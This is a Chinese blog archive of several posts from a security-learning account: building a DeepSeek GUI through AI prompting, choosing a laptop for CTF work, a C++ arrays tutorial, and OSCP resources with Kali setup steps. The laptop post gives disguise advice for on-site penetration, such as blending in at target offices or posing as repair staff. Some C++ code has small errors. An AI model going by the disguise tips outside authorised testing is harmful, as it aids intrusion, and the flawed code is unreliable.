让后把这个代码丢给AI，让他生成一个简单的python程序。\n然后在这个程序基础上写个界面，实现基本的输入输出功能就好。\n开始动嘴 几次输入后发现不会转行。\n输出的内容对了，但是回答完成后不会转行，这样用户和AI助手的内容都在一行里不方便看。这里调试的时候用的Copilot，只有大的改动用DeepSeek，在网页上搞，本地的1.5b还是有点傻，简单的回答还行，Copilot目前还不支持DeepSeek。类似的AI辅助编程的也可以使用Cusor。\n修改后会换行了，但是把窗口点大了这个界面就很难看，而且目前还没有markdown渲染，think的部分也不会折叠，如果有代码输出也不能一键复制。继续发挥只会动嘴的产品经理技能。\n基本实现要求，但是有点丑。我想把输入栏调高一点。\n有点效果，但是左边没有保存对话的那个栏目。继续发挥动嘴技能。\n基本可行，但是有bug，点新对话后所有的对话都不见了。\n调教完成，只是历史对话的界面不会再次渲染，有点丑。\n加点渲染。\n这个界面还是有点丑怎么办？动嘴使唤一下AI美工。\n怎么说呢，微整形，美了一点但不多。先让AI把颜色单独写成一个style.py文件，然后让左边两个对齐。\n这里用的是硅基流动的DeepSeek写的，DS本体又被DDOS了。而本地的模型1.5b的太菜。搞了点颜色就好看很多了。\n微调一些细节，最后的成品如图。\n再更新几个新主题颜色，把觉得好看的图片，截图丢给http://colrd.com/create/image-dna/ 这个网站会提取主调色。\n关注 泷羽Sec-静安 公众号，后台回复“找工具+20250201”获取本文的工具\n最后懒到README也是AI写的。完整项目已经丢Gitee和Github了，欢迎fork。也可以回复公众号关键字“找工具+20250201”获取本文的GUI工具\nhttps://gitee.com/bugatti100Peagle/deep-seek-gui https://github.com/Bugatti100Peagle/DeepSeekGUI\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-02-02T14:46:25.133548Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250202101606528.png","permalink":"/post/%E7%BA%AF%E5%8A%A8%E5%98%B4%E8%AE%A9deepseek%E7%BB%99%E8%87%AA%E5%B7%B1%E5%86%99%E4%B8%80%E4%B8%AA%E5%A3%B3/","title":"纯动嘴让DeepSeek给自己写一个壳"},{"content":"从零开始学习网络安全的同学们，常常纠结于自己的日常电脑是否能胜任网络安全学习或 CTF 竞赛。而那些还没入手人生第一台电脑的在校生，更是头疼：既要日常学习，又要兼顾编程和网络安全，到底该买什么配置的电脑？怎么买？这些问题成了他们面前的第一道坎。\n配置建议 按照 2024 年 12 月中关村在线的报价，选择 4000-6999 元，内存 16G 的电脑即可。学生建议选择笔记本，运维网安或其他有固定办公地点的同学请随意。笔记本主要的优势是方便携带，在之后参加 CTF 线下赛时，主办方一般都要求自带电脑，这时候带台式机就太麻烦了，笔记本方便些。还有一个原因是遇到近源渗透等外场任务时，携带笔记本比较隐蔽和便于伪装。\n内存 预算充足的同学建议选择 16G 或以上的电脑，不建议选择 8G。8G？别想了！ 将来做渗透测试时，虚拟机少不了，甚至可能要同时开几个虚拟机，8G 内存的电脑跑起来跟蜗牛似的，CTF 比赛中时间就是分数，硬件不给力，分数就别指望了。\n硬盘容量 别把硬盘容量和内存搞混了！个人电脑的硬盘通常比内存大得多。内存常见参数：8G、16G、32G、64G；硬盘常见容量：256G、512G、1TB、2TB。硬盘建议选 512G 或以上的，256G？装几个软件就满了，更别提渗透测试工具和动辄 10GB 起步的虚拟系统镜像了。预算够？直接上 1TB！\n显卡 搞 CTF 和网络安全，对显卡要求不高，集显足够。如果你还想着学网安之余打打游戏（买前安全梦，买后电竞梦），那 30 系列或 40 系列的显卡随便选。\n外观、颜色、屏幕尺寸 搞网络安全，笔记本的选择有个铁律：“低调、普通、不显眼”。 近源渗透时，无论你是伪装成目标公司的职员，还是混进咖啡馆蹭网，笔记本的外观都不能太扎眼。外壳炫酷、形状不规则、带闪烁灯带的笔记本，分分钟引起别人注意。颜色上，银灰、黑色是首选，红色、粉色、亮漆、闪粉？千万别选！即便是纯白色也别考虑，太显眼了。品牌 LOGO 要小且主流，别选那些奇形怪状、小众品牌的电脑，不然真会有人来问：“哎，你这电脑啥牌子的？”\n总结表格 按照上述建议总结的表格如下：\n参数 最低建议值 舒适建议值 不建议 内存 16G 32G 8G 硬盘容量 512G 1T 256G 显卡 集显 外观 一般的就好 特别的外壳，有凹凸纹理、有特别亮眼 LOGO 颜色 银色、黑色 白色、红色、亮粉色、闪光色、灯带 屏幕尺寸 13 寸 14-15 18 寸及以上 价格 4000 6000 一万及以上（自费打工） 我喜欢白色，已经买了白色的电脑怎么办？我喜欢用苹果电脑能不能买，已经买了能不能用？ 上述建议里，内存和硬盘容量是硬性要求，16G/512G 是底线，其他的随意。外观、颜色、屏幕尺寸这些，都是为近源渗透时“不显眼、不特别、不突出”服务的。如果你是“坐镇后方”的角色，不用出外场，那外观颜色随便选。已经买了颜色扎眼的电脑？别慌，初期学习阶段，你还没机会做伪装任务，随便用。\n苹果电脑也适用上述建议，只要内存 16G 以上就行。初期学习阶段，用啥电脑都行。至于系统和工具，网络安全渗透工具在 Windows 和 Mac 上都有，且工具库成熟，不存在只能用 Windows 或 Mac 才能完成攻击动作的情况。\n至于鄙视链？确实存在，有人觉得 Mac 比 Windows 好用，或者抱着“我用 Mac 我自豪”的心态。但只要内存够，手法到位，用啥系统都不影响你搞网安。不过在近源渗透等伪装任务中，还是要考虑目标人群的使用偏好。\n比如当你的目标是金融公司，外资公司，自媒体公司等追求新潮流的公司时，在这类公司上班的人群中，使用 Mac 的人比较多，所以为了伪装，也应该选择 Mac 电脑。不然，在一堆 Mac 中一个 Windows 就显得十分突出，会引起某些抱有这种鄙视链的无关人员的独特关注，他会过来“鄙视”你一下，打听一下你的收入背景，对伪装身份造成麻烦。\n但如果你的目标是老牌实业公司、政府和国企事业单位、工业电力行业，又或者当你伪装的身份是电路维修人员时，选择 Mac 电脑就显得十分显眼了。这类公司单位统一采购的电脑大多是清华同方、三防机、华为（麒麟、统信），技术维修人员偏爱联想 ThinkPad（刻板印象中）。在一堆清华同方，华为电脑中，一个 Mac book 就十分抢眼，甚至会引起单位领导和纪检员的过分关注，不利于伪装任务。\n总结 只要内存和硬盘容量这两个硬性指标过得去，在学习初期阶段，选择什么样的电脑都可以，看你其他的目的还要考虑什么（比如学习，打游戏娱乐，编程）。在后期需要伪装时，再根据常见的伪装目标选择 “不显眼、不特别、不突出”的即可。\n购买建议 不要去电脑城！不要去电脑城！不要去电脑城！\n直接去某宝、某东的品牌官方旗舰店，或者某为、某米的商城 APP 购买。想现场体验或急用的，去品牌的线下专卖店/转营店。别去电脑城！那地方水深，别给自己找麻烦！\n专卖店和电脑城的区别就是，专卖店只卖它店面店名那个 LOGO 那个品牌的电脑，电脑城是一个店面卖多种品牌的电脑，店名通常以老板名字为主，比如“张三电脑专卖”，虽然名字里有专卖两个字，但是意思是 只卖电脑但是什么杂七杂八品牌的电脑都卖；或者以“通讯”“电信”“迅达”等与通信交流有关的字眼为主的店名。\n还有就是品牌专卖店是可以在其品牌官网查询到响应的店名和地址的，电脑城不能。两者都可以在地图导航软件和百度、谷歌等搜索引擎的输入框中搜索得到，但是只有在对应品牌的官网页面，点进去之后，翻到授权代理，或者线下商店等字样的页面搜索得到正规的品牌专卖店。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-02-01T00:00:00Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image%205.png","permalink":"/post/00-%E9%80%89%E8%B4%AD%E7%94%B5%E8%84%91/","title":"网络安全新手必看：你的电脑够硬核吗？CTF 神器选购指南！"},{"content":" 关注公众号，后台回复 找书+ C++Primer 获取C++相关电子书。\nC++ 支持数组数据结构，它可以存储一个固定大小的相同类型元素的顺序集合。数组是用来存储一系列数据，但它往往被认为是一系列相同类型的变量。\n在 C++ 中要声明一个数组，需要指定元素的类型和元素的数量，如下所示：\ntype arrayName [ arraySize ]; //注意下标从0开始 新建、赋值与使用 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 // 新建一个数组，长度为5 6 int arr[5] = {}; 7 8 // 赋值数组 9 for (int i = 0; i \u0026lt; 5; i++) { 10 arr[i] = i * 2; // 将数组的每个元素赋值为其索引的两倍 11 } 12 13 // 使用数组，输出数组的每个元素 14 cout \u0026lt;\u0026lt; \u0026#34;数组的元素为：\u0026#34; \u0026lt;\u0026lt; endl; 15 for (int i = 0; i \u0026lt; 5; i++) { 16 cout \u0026lt;\u0026lt; \u0026#34;arr[\u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34;] = \u0026#34; \u0026lt;\u0026lt; arr[i] \u0026lt;\u0026lt; endl; 17 } 18 19 return 0; 20} 一维数组名的用途 统计数组再内存中的长度。 获取数组再内存中的首地址。 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 // 新建一个数组，长度为5 6 int arr[5] = {0, 1, 2, 3, 4}; 7 8 // 统计数组在内存中的长度 9 int arraySize = sizeof(arr) / sizeof(arr[0]); 10 cout \u0026lt;\u0026lt; \u0026#34;数组的长度为：\u0026#34; \u0026lt;\u0026lt; arraySize \u0026lt;\u0026lt; endl; 11 12 // 获取数组在内存中的首地址 13 cout \u0026lt;\u0026lt; \u0026#34;数组在内存中的首地址为：\u0026#34; \u0026lt;\u0026lt; arr \u0026lt;\u0026lt; endl; 14 15 // 使用数组，输出数组的每个元素 16 cout \u0026lt;\u0026lt; \u0026#34;数组的元素为：\u0026#34; \u0026lt;\u0026lt; endl; 17 for (int i = 0; i \u0026lt; arraySize; i++) { 18 cout \u0026lt;\u0026lt; \u0026#34;arr[\u0026#34; \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#34;] = \u0026#34; \u0026lt;\u0026lt; arr[i] \u0026lt;\u0026lt; endl; 19 } 20 21 return 0; 22} 两个地址段差多少 这两个地址相差的长度可以通过简单的减法计算：\n地址1（数组 arr）：000000000014FD08 地址2（数组 arrb）：000000000014FD38 将它们转换为十进制并相减即可：\n000000000014FD38 - 000000000014FD08 = 0x30 换算为十进制：\n0x30 = 48 字节 因此，这两个地址相距 48 字节。\n在这个上下文中，两个数组 arr 和 arrb 都是长度为 6 的数组，而它们的首地址相距 48 字节，这可以通过以下几点来理解：\n1. 数组的数据类型决定了内存占用 数组在内存中的总大小取决于其元素的数据类型和长度。如果数组 arr 和 arrb 的长度都是 6，那么每个数组占用的字节数为： $ \\text{数组总大小} = \\text{每个元素的大小} \\times \\text{数组长度} $\n假设 arr 和 arrb 是以下几种常见的数据类型：\nint 类型：在大多数 64 位系统中，int 的大小是 4 字节，因此一个长度为 6 的数组占用 $4 \\times 6 = 24$字节。 float 类型：float 通常也是 4 字节，因此数组占用同样是 24 字节。 double 类型：double 通常是 8 字节，因此数组占用 $8 \\times 6 = 48$ 字节。 2. 地址差说明内存布局 两个数组的首地址相距 48 字节，说明在内存中它们是连续分布的：\n如果数组的元素是 double 类型，每个数组正好占用 48 字节，因此 arrb 的起始地址正好紧接在 arr 的末尾。 如果数组的元素是 int 或 float 类型（占 24 字节），那么地址间的 48 字节 说明两者之间存在 24 字节的对齐间隔，可能是由于内存对齐或其他结构性分配导致。 3. 内存对齐的可能性 内存对齐是编译器在分配内存时，为了提高访问效率而自动插入的间隔。比如：\n如果系统要求数据按 8 字节对齐，则即使 arr 只占 24 字节，下一个数组 arrb 的起始地址也会向上对齐到最近的 8 字节倍数，这可能导致实际间隔增加。 结论 如果 arr 和 arrb 是 double 类型数组，两个地址相距正好等于 arr 的大小（48 字节），表示没有额外间隔。 如果是其他数据类型，可能由于内存对齐或其他原因，导致间隔大于数组的实际大小。 要具体确认，可以查看数组的数据类型和系统的对齐策略。\n练习案例-5只小猪称体重 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 // 新建一个数组，长度为5，存储五只小猪的体重 6 int weights[5] = { 250, 300, 275, 320, 290 }; 7 8 // 输出每只小猪的体重 9 cout \u0026lt;\u0026lt; \u0026#34;五只小猪的体重分别为：\u0026#34; \u0026lt;\u0026lt; endl; 10 for (int i = 0; i \u0026lt; 5; i++) { 11 cout \u0026lt;\u0026lt; \u0026#34;小猪 \u0026#34; \u0026lt;\u0026lt; i + 1 \u0026lt;\u0026lt; \u0026#34; 的体重是 \u0026#34; \u0026lt;\u0026lt; weights[i] \u0026lt;\u0026lt; \u0026#34; 公斤\u0026#34; \u0026lt;\u0026lt; endl; 12 } 13 14 // 找出最重的小猪 15 int maxWeight = weights[0]; //已经从0下表开始找了 16 int maxIndex = 0; 17 for (int i = 1; i \u0026lt; 5; i++) { 18 if (weights[i] \u0026gt; maxWeight) { 19 maxWeight = weights[i]; 20 maxIndex = i; 21 } 22 } 23 24 // 输出最重的小猪 25 cout \u0026lt;\u0026lt; \u0026#34;最重的小猪是小猪 \u0026#34; \u0026lt;\u0026lt; maxIndex + 1 \u0026lt;\u0026lt; \u0026#34;，体重是 \u0026#34; \u0026lt;\u0026lt; maxWeight \u0026lt;\u0026lt; \u0026#34; 公斤\u0026#34; \u0026lt;\u0026lt; endl; 26 27 return 0; 28} 练习案例-数组元素逆置 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 // 新建一个数组，长度为5 6 int weights[5] = { 250, 300, 275, 320, 290 }; 7 8 // 输出原始数组 9 cout \u0026lt;\u0026lt; \u0026#34;原始数组的元素为：\u0026#34; \u0026lt;\u0026lt; endl; 10 for (int i = 0; i \u0026lt; 5; i++) { 11 cout \u0026lt;\u0026lt; weights[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 12 } 13 cout \u0026lt;\u0026lt; endl; 14 15 // 逆置数组元素 16 int start = 0; 17 int end = 4; // 数组下标从0开始，所以最后一个元素的下标为4 也可以用 sizeof(weights[0]) - 1 18 while (start \u0026lt; end) { 19 int temp = weights[start]; 20 weights[start] = weights[end]; 21 weights[end] = temp; 22 start++; 23 end--; 24 }x 25 26 // 输出逆置后的数组 27 cout \u0026lt;\u0026lt; \u0026#34;逆置后的数组元素为：\u0026#34; \u0026lt;\u0026lt; endl; 28 for (int i = 0; i \u0026lt; 5; i++) { 29 cout \u0026lt;\u0026lt; weights[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; // 末尾加空字符串 30 } 31 cout \u0026lt;\u0026lt; endl; 32 33 return 0; 34} 经典算法-冒泡排序 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4// 定义颜色代码 5#define RESET \u0026#34;\\033[0m\u0026#34; 6#define RED \u0026#34;\\033[31m\u0026#34; 7#define GREEN \u0026#34;\\033[32m\u0026#34; 8#define YELLOW \u0026#34;\\033[33m\u0026#34; 9#define BLUE \u0026#34;\\033[34m\u0026#34; 10#define MAGENTA \u0026#34;\\033[35m\u0026#34; 11#define CYAN \u0026#34;\\033[36m\u0026#34; 12#define WHITE \u0026#34;\\033[37m\u0026#34; 13 14int main() { 15 // 新建一个数组，长度为5 16 int weights[5] = { 22, 34, 21, 28, 36 }; 17 18 // 输出原始数组 19 cout \u0026lt;\u0026lt; \u0026#34;原始数组的元素为：\u0026#34; \u0026lt;\u0026lt; endl; 20 for (int i = 0; i \u0026lt; 5; i++) { 21 cout \u0026lt;\u0026lt; weights[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 22 } 23 cout \u0026lt;\u0026lt; endl; 24 25 // 冒泡排序算法，按降序排列 26 for (int i = 0; i \u0026lt; 5 - 1; i++) { 27 for (int j = 0; j \u0026lt; 5 - 1 - i; j++) { 28 bool swapped = false; 29 if (weights[j] \u0026lt; weights[j + 1]) { 30 int temp = weights[j]; 31 weights[j] = weights[j + 1]; 32 weights[j + 1] = temp; 33 swapped = true; 34 } 35 36 // 输出每次排序后的数组 37 cout \u0026lt;\u0026lt; \u0026#34;第 \u0026#34; \u0026lt;\u0026lt; i + 1 \u0026lt;\u0026lt; \u0026#34; 轮，第 \u0026#34; \u0026lt;\u0026lt; j + 1 \u0026lt;\u0026lt; \u0026#34; 次排序后的数组元素为：\u0026#34; \u0026lt;\u0026lt; endl; 38 for (int k = 0; k \u0026lt; 5; k++) { 39 if (k == j || k == j + 1) { 40 cout \u0026lt;\u0026lt; RED \u0026lt;\u0026lt; weights[k] \u0026lt;\u0026lt; \u0026#34; \u0026#34; \u0026lt;\u0026lt; RESET; // 用红色标记被动过的元素 41 } 42 else { 43 cout \u0026lt;\u0026lt; weights[k] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 44 } 45 } 46 cout \u0026lt;\u0026lt; endl; 47 } 48 } 49 50 // 输出最终排序后的数组 51 cout \u0026lt;\u0026lt; \u0026#34;最终降序排列后的数组元素为：\u0026#34; \u0026lt;\u0026lt; endl; 52 for (int i = 0; i \u0026lt; 5; i++) { 53 cout \u0026lt;\u0026lt; weights[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 54 } 55 cout \u0026lt;\u0026lt; endl; 56 57 return 0; 58} 二维数组 可以通过数组名查看：\n统计数组再内存中的长度。 获取数组再内存中的首地址。 多维数组最简单的形式是二维数组。一个二维数组，在本质上，是一个一维数组的列表。声明一个 x 行 y 列的二维整型数组，形式如下：\ntype arrayName [ x ][ y ]; 初始化二维数组 多维数组可以通过在括号内为每行指定值来进行初始化。下面是一个带有 3 行 4 列的数组。\nint a[3][4] = { {0, 1, 2, 3} , /* 初始化索引号为 0 的行 */ {4, 5, 6, 7} , /* 初始化索引号为 1 的行 */ {8, 9, 10, 11} /* 初始化索引号为 2 的行 */ }; 内部嵌套的括号是可选的，下面的初始化与上面是等同的：\nint a[3][4] = {0,1,2,3,4,5,6,7,8,9,10,11}; int a[][4] = {0,1,2,3,4,5,6,7,8,9,10,11}; //可以省行数，但是不能省列数，且要有数据 访问二维数组元素 二维数组中的元素是通过使用下标（即数组的行索引和列索引）来访问的。例如：\nint val = a[2][3]; 属性用法 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 // 新建一个二维数组，3行3列，数字为1到9 6 int arr[3][3] = { 7 {1, 2, 3}, 8 {4, 5, 6}, 9 {7, 8, 9} 10 }; 11 12 // 输出数组的内容 13 cout \u0026lt;\u0026lt; \u0026#34;数组的内容为：\u0026#34; \u0026lt;\u0026lt; endl; 14 for (int i = 0; i \u0026lt; 3; i++) { 15 for (int j = 0; j \u0026lt; 3; j++) { 16 cout \u0026lt;\u0026lt; arr[i][j] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; 17 } 18 cout \u0026lt;\u0026lt; endl; 19 } 20 21 // 输出行数和列数 22 int rows = sizeof(arr) / sizeof(arr[0]); 23 int cols = sizeof(arr[0]) / sizeof(arr[0][0]); 24 cout \u0026lt;\u0026lt; \u0026#34;数组的行数为：\u0026#34; \u0026lt;\u0026lt; rows \u0026lt;\u0026lt; endl; 25 cout \u0026lt;\u0026lt; \u0026#34;数组的列数为：\u0026#34; \u0026lt;\u0026lt; cols \u0026lt;\u0026lt; endl; 26 27 // 输出总内存空间 28 int totalSize = sizeof(arr); 29 cout \u0026lt;\u0026lt; \u0026#34;数组的总内存空间为：\u0026#34; \u0026lt;\u0026lt; totalSize \u0026lt;\u0026lt; \u0026#34; 字节\u0026#34; \u0026lt;\u0026lt; endl; 30 31 // 输出每一列的内存空间和首地址 32 for (int j = 0; j \u0026lt; cols; j++) { 33 int colSize = sizeof(arr[0][j]) * rows; 34 cout \u0026lt;\u0026lt; \u0026#34;第 \u0026#34; \u0026lt;\u0026lt; j + 1 \u0026lt;\u0026lt; \u0026#34; 列的内存空间为：\u0026#34; \u0026lt;\u0026lt; colSize \u0026lt;\u0026lt; \u0026#34; 字节\u0026#34; \u0026lt;\u0026lt; endl; 35 cout \u0026lt;\u0026lt; \u0026#34;第 \u0026#34; \u0026lt;\u0026lt; j + 1 \u0026lt;\u0026lt; \u0026#34; 列的首地址为：\u0026#34; \u0026lt;\u0026lt; \u0026amp;arr[0][j] \u0026lt;\u0026lt; endl; 36 } 37 38 return 0; 39} 练习案例-考试成绩 1#include \u0026lt;iostream\u0026gt; 2using namespace std; 3 4int main() { 5 // 新建一个二维数组，存储三名同学在三门考试科目中的成绩 6 int scores[3][3] = { 7 {85, 92, 78}, // 张三的成绩：语文85，英语92，数学78 8 {88, 76, 90}, // 李四的成绩：语文88，英语76，数学90 9 {90, 85, 88} // 王五的成绩：语文90，英语85，数学88 10 }; 11 12 // 定义同学和科目的名称 13 string students[3] = { \u0026#34;张三\u0026#34;, \u0026#34;李四\u0026#34;, \u0026#34;王五\u0026#34; }; 14 string subjects[3] = { \u0026#34;语文\u0026#34;, \u0026#34;英语\u0026#34;, \u0026#34;数学\u0026#34; }; 15 16 // 分别输出每位同学的成绩和总分 17 for (int i = 0; i \u0026lt; 3; i++) { 18 int totalScore = 0; // 初始化总分 19 cout \u0026lt;\u0026lt; students[i] \u0026lt;\u0026lt; \u0026#34;的成绩：\u0026#34; \u0026lt;\u0026lt; endl; 20 for (int j = 0; j \u0026lt; 3; j++) { 21 cout \u0026lt;\u0026lt; subjects[j] \u0026lt;\u0026lt; \u0026#34;：\u0026#34; \u0026lt;\u0026lt; scores[i][j] \u0026lt;\u0026lt; \u0026#34;分\u0026#34; \u0026lt;\u0026lt; endl; 22 totalScore += scores[i][j]; // 累加每门科目的成绩 23 } 24 cout \u0026lt;\u0026lt; \u0026#34;总分：\u0026#34; \u0026lt;\u0026lt; totalScore \u0026lt;\u0026lt; \u0026#34;分\u0026#34; \u0026lt;\u0026lt; endl; 25 cout \u0026lt;\u0026lt; endl; 26 } 27 28 return 0; 29} C++ 中数组详解 在 C++ 中，数组是非常重要的，我们需要了解更多有关数组的细节。下面列出了 C++ 程序员必须清楚的一些与数组相关的重要概念：\n概念 描述 多维数组 C++ 支持多维数组。多维数组最简单的形式是二维数组。 指向数组的指针 您可以通过指定不带索引的数组名称来生成一个指向数组中第一个元素的指针。您可以先跳过本章，等了解了 C++ 指针的概念之后，再来学习本章的内容。 传递数组给函数 您可以通过指定不带索引的数组名称来给函数传递一个指向数组的指针。 从函数返回数组 C++ 允许从函数返回数组。 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-01-27T16:13:45Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E6%9C%AA%E5%91%BD%E5%90%8D%E7%9A%84%E8%AE%BE%E8%AE%A1.png","permalink":"/post/05x%E6%95%B0%E7%BB%8442-49/","title":"05x数组42-49"},{"content":"学前补充-在线学习资源 国内中文资料 国内虽然网络安全学习资源逐渐丰富，但在涉及 OSCP 等国际认证时，中文资料相对较少，更多的仍需依赖官方英文资料。然而，我们可以通过一些中文平台获取相关的学习内容，并帮助更好地理解渗透测试和网络安全的基本概念。\n泷羽Sec公众号：关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\nCSDN 泷羽Sec-静安栏目：同样可以通过 CSDN 泷羽Sec-静安 账号找到关于 OSCP 考试、渗透测试工具等内容的详细教程，适合进行技术深度学习。\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n拓展国外资料 虽然国内资料主要依赖翻译或二次加工，但国外的资料更为丰富，尤其是针对渗透测试和 OSCP 考试的内容。建议你结合以下资源，深入学习并拓宽视野。无需完全掌握所有内容，但这些资料可以帮助你更好地理解考试大纲之外的技术点。\nYouTube 渗透测试教程：\n渗透测试基础教程：这个视频系列为你提供了实战渗透测试的基础知识，非常适合入门学习。 进阶渗透测试系列：该系列侧重于进阶渗透测试技术，涵盖了多种实用的攻击手段和技巧，适合有一定基础的学员进一步提升技能。 Offensive Security 官方资源：\nOffSec Discord 群组：加入 OffSec 的 Discord 群，这是一个全球渗透测试爱好者和专业人员的聚集地，群内每周五会有免费直播，大家可以实时互动并提问。通过参与群组，你不仅能获得最新的培训信息，还有机会向其他 OSCP 备考者和认证过的专家请教问题。\nOffSec 官方 YouTube 频道：OffSec 官方 YouTube 频道，官方会不定期更新关于渗透测试技巧、OSCP 备考心得等内容。特别适合在考试前复习并加深理解。\nOffSec 官方 Twitch 频道：OffSec 官方 Twitch 频道：在这里你可以找到各种实时和过往的直播视频，包括渗透测试实战演示和技术讲解。定期观看这些直播，能够帮助你更好地理解渗透测试的实际操作，并获取最新的行业动态和实践技巧。\n翻译软件使用 对于非英语母语的学习者，翻译软件可以极大地帮助理解英文资料，特别是一些技术性的讲解。以下是推荐的两款翻译工具，帮助提升学习效率：\n沉浸式翻译：\n适用于翻译在线网页文档，特别是技术博客、教程页面等。这个工具支持将 YouTube 上的视频字幕实时翻译，便于理解外语讲解的内容，尤其是对于英语不太熟练的学习者来说，是一个非常有用的工具。 讯飞同传：\n这个工具非常适合观看一些沉浸式翻译不支持的视频，以及在后期与考试官的实时互动中使用。它可以帮助你实时将英语对话翻译成中文，并支持与考官之间的流畅交流。这对于 OSCP 考试时的实时沟通（例如，考试过程中需要与考官确认某些细节时）尤为重要。 通过这些工具，你可以在学习过程中克服语言障碍，更轻松地掌握 OSCP 考试的内容，尤其是在遇到复杂的技术概念或英文资料时，翻译软件将成为你学习的得力助手。\n学习 OSCP 不仅需要掌握官方教材大纲的内容，更需要拓展视野，借助国内外的学习资源和翻译工具，提高自己的渗透测试能力。建议大家从 泷羽Sec-静安 公众号获取最新的学习资讯，结合国内外的视频教程和在线社区的互动，逐步完成 OSCP 认证的备考旅程。\nKali下载、VMware安装和镜像启动 Kali Linux由Offensive Security开发、资助和维护，是一个基于Debian的Linux发行版，专为高级渗透测试和安全审计设计。它集成了数百种信息安全工具，支持渗透测试、安全研究、计算机取证、逆向工程等多种任务。\nKali 下载 kali 官网下载地址：https://www.kali.org/get-kali/#kali-platforms\n1 Get-FileHash .\\kali-linux-2024.4-vmware-amd64.7z -Algorithm SHA256 验证下载文件\nVMware下载 VMware是一家领先的虚拟化和云计算技术公司，专注于提供企业级解决方案。其核心产品包括虚拟化平台、云管理和自动化工具，旨在帮助企业优化IT基础设施，提升运维效率。VMware的技术广泛应用于数据中心、桌面虚拟化、网络安全和应用开发等领域，推动了云计算、容器化和企业数字化转型的进程。\nVMware 官网下载：https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion\n下载安装后，激活网上找教程激活即可。2024年5月后Workstation 和 Fusion 对个人使用完全免费，企业许可转向订阅，个人用户也可以使用免费版。关注公众号泷羽Sec-静安，后台回复找工具+Day2获取镜像和相关软件。\n镜像启动 在Vmware中点击打开虚拟机，选择下载好的kali镜像（解压一下），选择文件夹下的.vmx文件即可。点击启动即可。\n1默认用户名：kali 2默认密码：kali 可以通过passwd命令修改账户密码，但是学习阶段不建议，就一个虚拟机，省得后面复杂操作的时候记不得。\n常用网站链接\nkali全套官方工具包详解 https://www.kali.org/tools/all-tools/ kali 官方文档手册 https://www.kali.org/docs/ kali官方论坛 https://forums.kali.org/官方建议，发帖之前先阅读论坛规则和向导，不合规的帖子可能被忽略 kali bug自助页面 https://bugs.kali.org 官方kali解密书籍：《Kali Linux Revealed: mastering the penetration testing distribution》关注公众号泷羽Sec-静安后台回复找书+KLR获取下载链接 kali换源和新装机设置 1sudo -s 2vim /etc/apt/sources.list 1# 清华大学Kali镜像源 2 3deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware 4deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware 复制上面的内容，按I键进入插入模式，插入到list文件中，注释原来的kali官方源，按ESC退出编辑模式，然后按:wq保存并退出。更多详细vim命令请参考菜鸟 Linux vi/vim，vimtutor和vim官方，或在终端输入vimtutor查看官方指南。\n然后在终端中更新镜像源并升级软件包。注意看源是否已经换成清华源。若你的网络对于清华源还是慢，可以参考Kali 2024更换源（超详细，附国内优质镜像源地址）_kali换源选择其他源。更新升级会占用大量时间，但这是必须的。\n1apt update 2apt upgrade 安装或更新完成后，会遗留一些软件的安装包，会占用部分硬盘空间，可使用下面的命令来对其进行清理\n1apt-get clean 设置锁屏时间为从不 不然经常切换应用后要输入kali:kali登录。左键点击电池图标，选择设置，找到安全性，设置锁屏时间为从不（never）\n配置ssh服务 输入命令：vim /etc/ssh/sshd_config 将下面的命令改为yes\n1PasswordAuthentication yes 密码验证改为yes 输入命令：service ssh start 开启ssh服务 输入命令：update-rc.d ssh enable 设置为开机自启动 不要忘记 reboot （重启kali虚拟机）\n这样你就可以在虚拟机以外利用shell软件进行远程的访问。方便复制粘贴一些命令，有时候在kali中复制粘贴会有问题，然后就是截屏不方便。\n我个人是喜欢使用MobaXterm来作为我的shell而不是默认终端。关注公众号泷羽Sec-静安，后台回复找工具+Day2获取镜像和相关软件。先在原本的kali中输入ifconfig查看kali的网段，然后从mobaXterm中连接ssh登录kali即可。\n汉化 